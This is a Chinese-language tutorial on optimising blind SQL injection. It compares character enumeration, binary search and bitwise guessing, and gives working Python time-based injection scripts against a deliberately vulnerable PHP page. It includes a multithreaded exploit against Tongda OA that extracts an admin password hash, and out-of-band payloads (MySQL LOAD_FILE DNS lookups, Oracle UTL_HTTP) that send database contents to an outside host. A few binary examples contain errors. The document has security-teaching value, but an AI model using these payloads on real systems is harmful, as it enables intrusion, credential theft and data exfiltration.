SQL注入之盲注优化技术
示例:典型时间型盲注示例代码:
<?php
header('content-type:text/html;charset=utf-8');
@$id=$_GET['id']; //传参
if(!isset($id)){
die('请传入GET方法id参数值');
}
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('连接数据库失败:'.$mysqli->connect_error);
}
$mysqli->select_db('user');
if($mysqli->errno){
die('打开数据库失败:'.$mysqli->error);
}
$mysqli->set_charset('utf8');
$sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1";
$result=$mysqli->query($sql);
if(!$result){ #无论什么情况都输入一种情况:hello mysql
echo 'hello mysql';
}else if($result->num_rows==0){
echo 'hello mysql';
}else {
echo 'hello mysql';
}
一、盲注猜解技术
- 布尔型盲注
- 时间型盲注
在平时遇到盲注时,我们通常会使用字符遍历法或二分查找法进行猜解,二分查找法也是sqlmap工具默认的盲注猜解方法;当然在布尔型盲注时用二分查找法也是比较快的,但是当遇到时间型盲注时,二分查找法就显得那么无能为力了。
sqlmap盲注默认采用的是二分查找法:适用于全部数据库
其实盲注猜解技术不止字符遍历法、二分查找法,下面给大家讲解已知盲注猜解技术:
1、普通字符加正则表达式联合优化猜解
最原始的直接猜测:字符遍历法
x = 'a'
x = 'b'
x = 'c'
......
这种效率肯定不高,光英文加数字最多要猜解:26+10=36次,但是如果第一个字符就是'a'那么只需要一次即可,所以这个靠运气。
如:之前的通达OA注入就是采用此方法:
使用正则表达式缩小采解范围:
x LIKE ['a-f']
x LIKE [^'a-f']
这时再加上直接猜测进行范围缩小
正则表达式在某些场景很有用。
2、二分查找算法
二分搜索算法(分半\折半算法)主要用于推断单个字节的值,不需要搜索整张字母表,通过不断拆分平均值来缩小查找范围。
任何ASCII字符都可以用1字节或8位表示,也称为八位字节,并非所有字符在数据库中都是有效的或允许的,所以我们只关注ASCII范围32 - 126的可见字符,它给我们留下了一组94个字符。这其中是包含特殊符号在内的可见字符,如果知道要猜解的数据不包含特殊字符,还可以缩减范围成:48-57、65-90、97-122
例:使用二分搜索法猜解字符'f'=>ASCII数字为102
x > 64 1
x > 128 0
x > 96 1
x > 112 0
x > 104 0
x > 100 1
x > 102 0
x > 101 1
x > 101 and x < 102 所以 x = 102
可以看到,使用二分搜索法需要8次猜解才能确定字符,这里x > 128 可以去掉,因为大于128了就不是可见字符,所以使用二分搜索法猜解至少需要7次,还不算是否判断字符结束x=0
所以,二分搜索法有个明显的缺点,那就是猜测每一位字符需要发送7次请求,每次发送的请求需要上一次请求返回结果判断才能继续发送,也就是说只有发送了第一次请求,且返回了结果,在进行结果判断,然后在发送第二次请求…,这种每次需要等待上一次结果返回,花费的时间较长。
1次请求延迟5秒,至少有4次是正确的吧,那就是4*5=20s,在加上不延迟的请求也需要时间返回吧,一次算1s吧,那就是20s+4s=24s,当然这里只是延迟5s,有些网页本身返回延迟慢,则需要加大此数。
3、按位方法
用按位方法法不需要像二分搜索法那样只能单次单次发送,可以并行同时发送7次请求,使得能快速得到一位值。
位操作法使用位操作符 & 实现
例:猜解字符 'g'=>ASCII码103
select 103 & 128; 结果为 0 =》0
select 103 & 64; 结果为 64=》1
select 103 & 32; 结果为 32=》1
select 103 & 16; 结果为 0=》0
select 103 & 8; 结果为 0=》0
select 103 & 4; 结果为 4=》1
select 103 & 2; 结果为 2=》1
select 103 & 1; 结果为 1=》1
结果非0的都为1,那么集合起来就是 01100111,转换到十进制为103,而ascii码表113对应字符'g'
这种方法也是需要7次请求,但是不需要像二分搜索法那样需要等待上一次请求结果进行判断,也就是说二分搜索法只能单线程,而位操作法可以并发多线程。时间大大的节约。
原理很简单:就是把字符转化成二进制,逐位判断
128二进制 10000000
64二进制 01000000
32二进制 00100000
16二进制 00010000
8二进制 00001000
4二进制 00000110
2二进制 00000010
1二进制 00000001
思考:
那么为什么sqlmap不使用此方法进行呢?留给大家思考!
实验
以上面的时间型盲注代码为例:
1、最原始的方法:字符遍历法
import requests,time
a = time.time()
url = "http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))={_},sleep(8),0)%23" #猜对延迟8s响应
for i in range(32,126): #ASCII码可见字符范围
payload = url.format(_ = i)
print(payload)
startTime = time.time()
re = requests.get(payload)
if time.time() - startTime > 8:
value = chr(i)
print("猜解正确:" + value + "\n")
b = time.time() - a
print("猜解一个字符花费:" + str(b))
break
花费 104.56624603271484秒猜解正确:单线程
......
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=111,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=112,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=113,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=114,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=115,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=116,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))=117,sleep(8),0)%23
猜解正确:u
猜解一个字符花费:104.56624603271484
2、使用二分查找法
二分查找法需要等待上一次结果返回进行判断,所以只能单线程使用
import requests,time
a = time.time()
url = "http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>{_},sleep(8),0)%23" #猜对延迟8s响应
min = 32 # 起始ASCII码
max = 126 # 结束ASCII码
while abs(max - min) > 1:
mid = (max + min)//2 # 取中间数进行猜解
payload = url.format(_=mid)
startTime = time.time()
print(payload)
re = requests.get(payload)
if time.time() - startTime > 8:
min = mid
else:
max = mid
print("猜解完成:" + chr(max))
b = time.time() - a
print("猜解一个字符花费:" + str(b))
花费 47.50586557388306秒猜解正确:只能单线程
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>79,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>102,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>114,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>120,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>117,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>115,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1))>116,sleep(8),0)%23
猜解完成:u
猜解一个字符花费:47.50586557388306
3、使用按位方法
按位方法可以不用等待上一次结果返回在做操作, 所以可以使用多线程并发,但是要注意取线程的返回数据要按照顺序来
import threading
import requests,time
class MyThread(threading.Thread): # 创建MyThread对象,可获取每个线程的返回值,不然会混乱
def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
def getresult(self):
return self.res
def run(self):
self.res = self.func(*self.args)
def sql_injection(i):
asci = 2**i
url = "http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 {_},sleep(8),0)%23"
payload = url.format(_=asci)
startTime = time.time()
print(payload + "\n")
re = requests.get(payload)
if time.time() - startTime > 8:
return '1'
return '0'
def main():
a = time.time()
threads = []
sum = ''
for i in range(0,8):
t = MyThread(sql_injection,(i,))
threads.append(t)
for i in range(0,8):
threads[i].start()
for i in range(0,8):
threads[i].join()
sum = sum + threads[i].getresult()
sum = sum[::-1] #这里要把二进制反转,因为首先是从128开始判断的
print('二进制字符串:' + sum)
value = chr(int(str(int(sum,2)))) #将二进制字符串转换为十进制取对应的ASCII码值
print(value)
b = time.time() - a
print("猜解一个字符花费:" + str(b))
if __name__ == '__main__':
main()
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 1,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 2,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 4,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 8,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 32,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 16,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 128,sleep(8),0)%23
http://127.0.0.1/?id=1 and if(ord(mid((select database()),1,1)) %26 64,sleep(8),0)%23
二进制字符串:01110101
u
猜解一个字符花费:9.129600286483765
>>>
可看到因为使用线程并发操作,所以只需要延迟一个请求时间即可。效率大大提高。
通达OA注入优化
使用按位操作法进行盲注注入
import threading
import requests,time
class MyThread(threading.Thread):
def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
def getresult(self):
return self.res
def run(self):
self.res = self.func(*self.args)
def sql_injection(i,n): # i为位操作符,n为substr位数
asci = 2**i
url = "http://192.168.247.131/general/document/index.php/send/approve/finish"
payload = "1) and char(@`'`) union select if(ord(mid(PASSWORD,%d,1)) & %d,sleep(8),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)" % (n,asci)
exp_data = {
'sid' : payload
}
cookies = {
'_SERVER' : ''
}
try:
res = requests.post(url, data=exp_data, cookies=cookies, timeout=6)
except:
return '1'
else:
return '0'
def main():
a = time.time()
charvalue = ''
for j in range(1,35):
threads = []
sum = ''
for i in range(0,8):
t = MyThread(sql_injection,(i,j))
threads.append(t)
for i in range(0,8):
threads[i].start()
for i in range(0,8):
threads[i].join()
sum = sum + threads[i].getresult()
sum = sum[::-1]
print('二进制字符串:' + sum)
value = chr(int(str(int(sum,2))))
print(value)
charvalue = charvalue + value
print("密码为:" + charvalue)
b = time.time() - a
print("猜解完花费:" + str(b))
print("密码为:" + charvalue)
if __name__ == '__main__':
main()
演示效果:
......
8
密码为:$1$uo..o3..$amdS8
二进制字符串:00110101
5
密码为:$1$uo..o3..$amdS85
二进制字符串:01010001
Q
密码为:$1$uo..o3..$amdS85Q
二进制字符串:01010110
V
密码为:$1$uo..o3..$amdS85QV
二进制字符串:00110001
1
密码为:$1$uo..o3..$amdS85QV1
二进制字符串:01001111
O
密码为:$1$uo..o3..$amdS85QV1O
二进制字符串:01011010
Z
密码为:$1$uo..o3..$amdS85QV1OZ
二进制字符串:01000101
E
密码为:$1$uo..o3..$amdS85QV1OZE
二进制字符串:01010010
R
密码为:$1$uo..o3..$amdS85QV1OZER
二进制字符串:01001101
M
密码为:$1$uo..o3..$amdS85QV1OZERM
二进制字符串:01010100
T
密码为:$1$uo..o3..$amdS85QV1OZERMT
带外通信技术
进行SQL盲注漏洞时,使用第二类方法是借助非主流通道。区别在于前面的推断技术依靠的是页面发送的响应来判断,而非主流通道技术使用的是传输通道而非页面响应,传输通道包括DNS、E-MAIL、HTTP请求。这样的好处是可以一次检索多块数据,而不是通过推断单个字节的值。
现在企业防火墙或安全设备一般不会对DNS请求进行拦截检测,所以目前很多都是用NDS隧道进行隐蔽控制。
#mysql发送DNS请求:
SELECT LOAD_FILE(CONCAT('\\\\',( SELECT DATABASE() ),'.xx.xx\\x));
#Oracle发送DNS请求和HTTP请求:
SELECT UTL_INADDR.get_host_name('192.168.1.1') FROM dual;
select utl_http.request('http://192.168.0.102/'||(SELECT user FROM dual)) from dual;
可借助网络上已有平台,如:ceye.io、T00ls DNSLOGd等:
或者自己搭建NDS和HTTP平台:
- 简单的自己写个python脚本监控UDP协议53端口的DNS记录,搭建个web服务器分析HTTP访问记录
演示效果:
- 或者采用一些开源项目,如:https://github.com/LandGrey/dnstricker